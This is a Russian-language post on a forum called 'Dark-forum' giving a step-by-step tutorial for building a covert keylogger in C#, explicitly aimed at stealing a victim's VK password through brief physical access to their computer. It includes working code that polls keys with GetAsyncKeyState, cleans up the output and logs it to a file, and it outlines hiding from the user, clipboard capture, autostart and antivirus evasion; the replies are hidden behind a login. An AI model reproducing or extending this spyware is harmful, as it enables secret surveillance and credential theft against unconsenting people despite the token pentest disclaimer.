Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker Hacker

Dark-forum

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Dark-forum » Обсуждения » Как написать кейлоггер на C#


Как написать кейлоггер на C#

Сообщений 1 страница 20 из 618

1

Содержание

1 Создание кейлоггера на C#
1.1 Теория создания клавиатурного шпиона на C#
1.2 Написание кейлоггера на C#
1.3 Красивый вариант клавиатурного шпиона
1.4 Клиппер для вытаскивания данных из буфера обмена
1.5 Сбор логов
1.6 Автозапуск кейлоггера
1.7 Реакция антивирусов на кейлоггер
1.8 Проверка заголовка окна
1.9 Поиск по логу
2 Итого
Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.

Статья предназначена для профессиональных пентестеров и «белых хакеров». Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Создание кейлоггера на C#
Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:

мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
мы сможем забирать логи, находясь в той же локальной сети;
антивирус должен молчать;
файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.

Подробнее об атаках на парольные менеджеры читайте в статье «Взлом KeePass».
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

Теория создания клавиатурного шпиона на C#
Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.

Написание кейлоггера на C#
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.

Кейлоггер на C
Заглушка Main
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.

Еще по теме: Кейлоггер на Visual C++

Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

Импортируем GetAsyncKeyState из user32.dll:

1
2
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while (true)
{
   Thread.Sleep(100);
   for (int i = 0; i < 255; i++)
   {
      int state = GetAsyncKeyState(i);
      if (state != 0)
      {
        buf += ((Keys)i).ToString();
        if (buf.Length > 10)
        {
           File.AppendAllText("keylogger.log", buf);
           buf = "";
        }
      }
   }
}
Кейлоггер на C. Расшифровывать такой лог будет неудобно
Расшифровывать такой лог будет неудобно
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Усовершенствованная проверка введенных символов //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
     buf += ((Keys)i).ToString();
}
else
{
     buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{     File.AppendAllText("keylogger.log", buf);
     buf = "";
}
После такого редактирования лог стал намного чище (см. рисунок).

Кейлоггер на C. Выглядит уже аккуратнее
Кейлоггер на C. Выглядит уже аккуратнее
Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:

1
2
3
4
5
6
7
8
9
10
// Еще более усовершенствованная проверка //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент
if ((shiftState & 0x8000) == 0x8000)
{
    shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;
Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

исходники кейлоггера c

Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.

1
2
3
// Проверка на пробел и Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

1
if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }
Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

Num Lock;
функциональные клавиши;
Print Screen;
Page Up и Page Down;
Scroll Lock;
сочетание Shift + цифровая клавиша;
Tab;
Home и End;
Пуск;
Alt;
клавиши со стрелками.
Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.

Смотрим, что скажет антивирус…

2

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

3

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

4

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

5

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

6

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

7

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

8

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

9

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

10

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

11

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

12

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

13

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

14

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

15

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

16

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

17

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

18

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

19

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.

20

Скрытый текст:

Для просмотра скрытого текста - войдите или зарегистрируйтесь.


Вы здесь » Dark-forum » Обсуждения » Как написать кейлоггер на C#


Рейтинг форумов | Создать форум бесплатно